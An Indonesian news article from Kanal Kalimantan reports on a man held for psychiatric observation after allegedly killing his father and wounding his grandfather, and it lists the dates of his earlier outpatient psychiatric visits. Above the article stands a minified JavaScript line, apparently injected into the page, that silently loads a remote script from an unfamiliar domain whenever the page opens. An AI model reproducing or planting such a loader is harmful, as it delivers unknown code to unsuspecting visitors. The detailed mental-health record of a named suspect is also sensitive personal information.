(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Pelaku pembunuhan terhadap ayah kandung sendiri, M Rifa’i lebih banyak melamun setelah berada di Rumah Sakit Jiwa (RSJ) Sambang Lihum, Senin (4/6).
M Rifa’i tersangka tunggal pembunuhan yang menyebabkan Hamdani (40) tewas dan juga melukai kakeknya Abdul Zaki (65) hingga mengalami kondisi kritis.
Dari hasil penyelidikan pihak Kepolisian diketahui Rifa’i memiliki gangguan kejiwaan sehingga pihak Kepolisian melakukan observasi terhadap tersangka di RSJ Sambang Lihum.
Tercatat dari Jumat lalu (1/6) pukul 16.00 Wita, Rifa’i telah masuk IGD dan pukul 21.00 Wita telah masuk visum.
Kanal Kalimantan mencoba melihat keadaan Rifa’i seharinya-harinya di RSJ Sambang Lihum. Mengenakan celana dan baju biru, terlihat Rifa’i sendiri lebih banyak diam dengan pandangan mata kosong, seolah-olah sama sekali tidak menyadari apa yang telah dia perbuat.
Suasana di ruangan pun terlihat sepi, Rifa’i lebih banyak berdiri dan menatap keluar jendela ruang kamarnya. Seperti menunggu seseorang, entah apa yang dia tunggu. Walau begitu Rifa’i juga tidak melupakan makanan dan minuman yang diberikan oleh petugas rumah sakit.(Baca: Ayah Tewas Setelah Ditusuk Pahat, Sang Kakek Berlumuran Darah).
Pihak RSJ Sambang Lihum dr Nursyifa kepada Kanal Kalimantan mengatakan, selama ini Rifa’i sama sekali tidak pernah dirawat inap di RSJ Sambang Lihum hinggal akhir muncul peristiwa tragis yang menewaskan ayah kandungnya tersebut.
“Memang benar yang bersangkutan belum pernah rawat inap, hanya rawat jalan saja pada Juni-Desember tahun 2016 dan Februari-April 2017,†ungkap dr Nusyifa.
Selain itu Kanal Kalimantan juga berhasil mendapatkan data rawat jalan Rifa’i sepanjang tahun 2016 dan tahun 2017 yaitu 4 Juni 2016, 21 Juni 2016, 11 Juli 2016, 27 Juli 2016, 11 Agustus 2016, 24 Agustus 2016, 8 September 2016 ,29 September 2016, 26 Oktober 2016, 7 November 2016, 29 Desember 2016 dan dilajutkan pada tahun 2017 yaitu 9 Februari 2017, 9 Maret 2017, dan 6 April 2017.
Rifa’i akan menetap di RSJ Sambang Lihum selama 14 hari yang mana ini merupakan observasi dari pihak Kepolisian dari proses tindak lanjut atas perbuatan yang dilakukan pelaku. Apabila terbukti gangguan jiwa yang dialami Rifa’i, maka proses hukum akan dihentikan.
“Pelaku dikirim ke RSJ Sambang Lihum untuk dilakukan observasi selama 14 hari, jika terbukti mengalami gangguan jiwa maka proses hukum kasus ini diberhentikan,†ungkap Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Martapura Timur Ipda Suradi. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.